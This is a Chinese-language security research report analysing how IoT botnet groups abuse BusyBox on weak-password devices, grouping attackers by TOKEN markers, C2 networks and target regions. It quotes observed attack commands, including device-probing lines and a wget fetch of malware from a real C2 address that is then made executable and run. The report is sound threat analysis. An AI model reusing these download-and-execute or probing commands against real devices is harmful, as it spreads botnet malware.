作者 | 張家琦 劉中金
BusyBox是嵌入式Linux的常用組件,被稱為「嵌入式Linux中的瑞士軍刀」。它將常用的UNIX命令集成到一個可執行文件中。通過功能精簡、共享代碼等方法,BusyBox保留了最常用的功能,同時大大壓縮了可執行文件的大小。一般而言,BusyBox可執行文件只有5MB左右,而Ubuntu或CentOS等完整的Linux發行版本至少需要數百MB空間。因此,BusyBox為小型嵌入式Linux提供了一個相對完整的POSIX環境,被廣泛應用於路由器、攝像頭、智能設備等基於嵌入式Linux的設備上。BusyBox的主要目錄結構、主要命令集合和使用方式如下[1][2]。BusyBox中的命令集合如表 2所示。BusyBox中包含了ls、cat和echo等命令和grep、find、telnetd等常用組件。2BusyBox在物聯網設備中應用廣泛,安全問題湧現
由於BusyBox容易編譯、配置和使用,它在嵌入式Linux作業系統中應用廣泛。許多網關、攝像頭類物聯網設備中運行的openwrt、buildroot等固件或工具,均使用BusyBox組件。自2010年以來,BusyBox共暴露出17個漏洞。其中,CVE評分在7分以上的有4個,如表3所示。另一方面,由於BusyBox在物聯網領域的廣泛應用,BusyBox成為物聯網設備區別於通用計算設備的一個重要標誌,經常被物聯網黑客組織用於探測、判斷聯網設備是否為物聯網設備。同時,由於集成了大量基本工具,BusyBox也成為了黑客組織用於執行代碼植入和遠程命令執行等攻擊的重要手段。Mirai,Hajime、Bashlite等物聯網殭屍網絡和攻擊手法均通過探測BusyBox組件來選取攻擊目標,繼而執行遠程攻擊命令[3]-[5]。3利用BusyBox組件進行特定物聯網設備攻擊的案例
( 1 ) 案例概述以下是一個開放23埠的聯網工控設備遭受攻擊的案例。該設備為M公司型號為UC-XXXX的控制器,是一款基於ARM的工業控制器。被攻擊設備存在弱口令漏洞,遭受到暴力破解等遠程攻擊,攻擊成功的命令交互情況如圖 1所示。cat /proc/mounts; /bin/busybox OAOGLrootfs / rootfs rw 0 0/dev/root / jffs2 ro 0 0/proc /proc proc rw 0/dev/ram0 /var ext2 rw 0 0/dev/mtdblock3 /var/tmp jffs2 rw 0 0/dev/mtdblock3 /home jffs2 rw 0 0/dev/mtdblock3 /etc jffs2 rw 0 0/dev/mtdblock3 /usr/bin jffs2 rw 0 0OAOGL: applet not found該黑客攻擊語句分為兩部分,一是功能執行部分,這裡對應「cat /proc/mounts」命令,用來查看/proc是否被加載;二是執行結束標記,對應「/bin/busybox OAOGL」這條命令,用於使伺服器返回「OAOGL:applet not found\r\n」消息,從而使攻擊方知道上條命令已執行完畢。其中,/bin/busyboxTOKEN中的TOKEN欄位通常由各個惡意軟體攻擊手法自行定義。一般可以認為,採用相同TOKEN的攻擊手法大概率具有同源性。
基於觀察到黑客攻擊的命令模式,其攻擊手法執行流程有三個部分:測試部分、下載部分和惡意代碼運行部分。在測試部分,攻擊手法主要測試終端的運行環境。攻擊手法利用一系列的測試代碼,針對設備軟硬體環境進行探測。通過檢測特定的返回代碼,來判斷BusyBox運行環境、文件系統、CPU類型、進程數量等參數。幾個典型的測試代碼如下:/bin/busybox ps; /bin/busybox TOKENii. 測試CPU類型、文件系統、進程數量等系統參數/bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/ busybox rm /dev/.nippon/bin/ busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo; /bin/ busybox slav1337iii. 測試是否存在wget、tftp等遠程傳輸工具/bin/ busybox wget; /bin/ busybox tftp; /bin/ busybox TOKEN在下載部分,攻擊手法主要利用wget、tftp或echo來植入惡意軟體。典型代碼如下:/bin/busybox wget http://193.228.91.124:80/uih7u8jy7of7y8o9d6t68it67r8y76t7823tg8weuq/squidnet.x86 -o - > kurc;/bin/BusyBox chmod 777 kurc; /bin/BusyBox kura(TOKEN)/bin/ busybox kurc; /bin/ busybox kura(TOKEN);下面是兩個不同攻擊手法的示例。圖 2是TOKEN為Kura的攻擊手法的腳本特點。這一工具用echo -e命令掃描大量文件夾,用wget下載惡意代碼。圖 3是TOKEN為slav1337的攻擊手法的腳本特點。這類攻擊手法一般首先檢查設備中是否存在BusyBox環境,然後檢查是否存在wget或tftp,最後通過wget、tftp或echo下載惡意代碼,如圖 3 ( a )。此外,這類攻擊手法中還存在大量用echo植入惡意代碼的行為,如圖 3 ( b )。
( a )
圖3 slav1337攻擊手法腳本特點
通常,同一個黑客組織使用的攻擊腳本、C2節點或殭屍主機存在一定的關聯性。為了發現攻擊手法與黑客組織的關聯,圖 4利用桑基圖進一步分析了有惡意代碼下載行為的攻擊手法及其殭屍主機、C2節點的通連關係。桑基圖是一類描述流量結構分布圖,描述了流量在各個節點之間的流量分布。每一個節點延伸的分支的寬度對應數據流量佔比的大小。圖 4的第一列節點表示攻擊手法,第二列和第三列節點分別表示殭屍主機和C2節點,最後一列表示其傳播的惡意代碼名稱。從攻擊手法節點延申出去的分支越細、越多,表明該攻擊手法利用的網絡資源越豐富,越分散;反之表明該攻擊手法利用的網絡資源越少,越集中。
( 1 ) 黑客組織攻擊手法利用的殭屍主機和C2節點都比較集中,也沒有與其他攻擊手法共用。典型代表是kura、ecchi、scylla和ak1k2,如圖 5。以kura為例,該攻擊手法主要利用了193.228.91.0網段的主機。其C2節點也大部分位於這個網段,傳播的惡意代碼名字也比較單一。典型惡意代碼名稱為squidnet和kiganet。
( 2 ) 第二類攻擊手法的桑基圖如圖 6。這類攻擊手法利用的網絡資源更加豐富,更加分散,且不同攻擊手法之間的網絡資源存在共用現象。如slav1337攻擊手法,該工具利用了多個殭屍網絡:85.92.108.0(荷蘭)、37.49.224.0(荷蘭)、45.95.168.0(匈牙利)。其中37.49.224.0和45.95.168.0這兩個網段的殭屍主機也被sora、unstable、meth、switchblades1等攻擊手法使用。從傳播惡意代碼的角度,這些攻擊手法的行為也呈現出不同的特點。例如slav1337、unstable傳播的惡意代碼比較多。sora、lizrd和naya則只傳播一種惡意代碼。
綜上,一部分攻擊手法的網絡資源相對比較獨立,同時傳播的惡意代碼名稱也比較單一,與其他攻擊手法區別明顯,可以認為屬於不同的黑客組織,如第一類的kura、ecchi、ak1k2和第二類的naya。下文將對上述四個組織的網絡資源,地理分布、腳本特徵進一步深入分析和比較。為簡化描述,下文將用黑客組織攻擊手法採用的TOKEN指代該組織。四個典型黑客組織的總體攻擊態勢如表 5。不同組織的網絡資源,主要是C2伺服器網段數量呈現一定的差異,kura、ak1k2、ecchi的C2伺服器分布比較集中,naya的C2伺服器分布較分散。各個組織的主要C2伺服器網段的分布情況如圖 7。
表6給出了典型黑客組織的主要C2節點歸屬國家。大部分組織的C2節點都位於美國和歐洲。圖8比較了四個攻擊手法攻擊目標的國內地理分布情況,排名前五位的省份分別是廣東、北京、遼寧、河北及浙江。各黑客組織攻擊目標排名前3 的省份及其受攻擊次數如表 7所示。不同組織在攻擊規模上略有差異,但選取的目標均為沿海發達城市和部分工業城市。
在攻擊手法的測試階段,黑客組織主要通過特定命令來測試攻擊目標的文件系統、CPU情況和網絡下載工具情況,我們比較了四個典型黑客組織的測試命令比例,如表 8。
按照是否存在文件掃描行為,可將攻擊手法測試階段行為模式分為兩類:第一類包括kura和ecchi,存在文件掃描行為,其中ecchi還存在大量CPU測試行為;第二類包括ak1k2和naya,不存在文件掃描行為。進一步觀察kura和ecchi的文件掃描命令,kura組織採用的典型命令是:
echo -e 'kami/dev' > /dev/.nippon;echo -e 『jane/dev' > /dev/.nippon;可以看出,雖然都存在文件掃描行為,kura和ecchi選擇了不同的文件掃描關鍵字。
在下載階段,攻擊手法大多採用wget和echo兩種方式向攻擊目標植入惡意代碼(tftp命令也有部分使用,但佔比很少,在此不做分析)。我們具體分析了kura、ecchi、ak1k2、naya四個典型組織的網絡植入方式如表 9。根據wget和echo的使用比例,可將網絡植入行為模式分為三類:第一類echo使用比例顯著高於wget,如ak1k2和naya;第二類echo使用比例與wget相當,如kura;第三類echo使用比例顯著低於wget,如ecchi。
通過對攻擊手法網絡資源、地理分布和行為模式的分析及對比,可以初步認為不同攻擊手法在網絡資源、行為模式上呈現出比較明顯的差異,而在地理分布上則比較類似。本報告分析了BusyBox組件對特定物聯網設備進行攻擊的惡意行為,初步得出以下結論:( 1 ) BusyBox被廣泛應用物聯網或工業控制網絡中。網絡中監測到了大量黑客組織利用BusyBox進行物聯網設備甄別及惡意代碼植入的行為。( 2 ) 利用BusyBox開展攻擊的各個黑客組織的攻擊手法和攻擊習慣呈現出迥然不同的特徵。通過對黑客組織攻擊手法的TOKEN特徵、傳播路徑、惡意代碼進行關聯分析,能夠對黑客組織在攻擊手法關鍵字、網絡傳播路徑、測試方式、網絡植入方式等方面的差異進行洞察。( 3 ) 在分析中,我們也發現了後續可以繼續深入研究的方向:隨著開源社區的不斷活躍,越來越多的開源程序及組件會在物聯網設備上使用,比如web、telnet等第三方組件。這些組件也都有潛在的安全風險,會被黑客組織進行規模化利用。後續我們將關注不同的組件進行分析,以對物聯網供應鏈,組件層面的安全性進行剖析,以期了解物聯網設備底層系統及組件所面臨的廣泛或通用的安全風險。
參考文獻:
[1]BusyBox - The Swiss Army Knife of EmbeddedLinux.
https://busybox.net/downloads/BusyBox.html
[2]BusyBox-Commands.https://boxmatrix.info/wiki/BusyBox-Commands
[3]New Trojan Virus Is Targeting IoT Devices.
https://www.csoonline.com/article/3134720/new-trojan-virus-is-targeting-iot-devices.html.
[4]How does Mirai infect IoT?
https://security.stackexchange.com/questions/144754/how-does-mirai-infect-iot
[5]IoTMalware Evolves to Harvest Bots by Exploiting a Zero-day Home RouterVulnerability. https://unit42.paloaltonetworks.com/unit42-iot-malware-evolves-harvest-bots-exploiting-zero-day-home-router-vulnerability/
[6]BASHLITE Affects Devices Running on BusyBox.
https://www.trendmicro.com/en_us/research/14/k/bashlite-affects-devices-running-on-BusyBox.html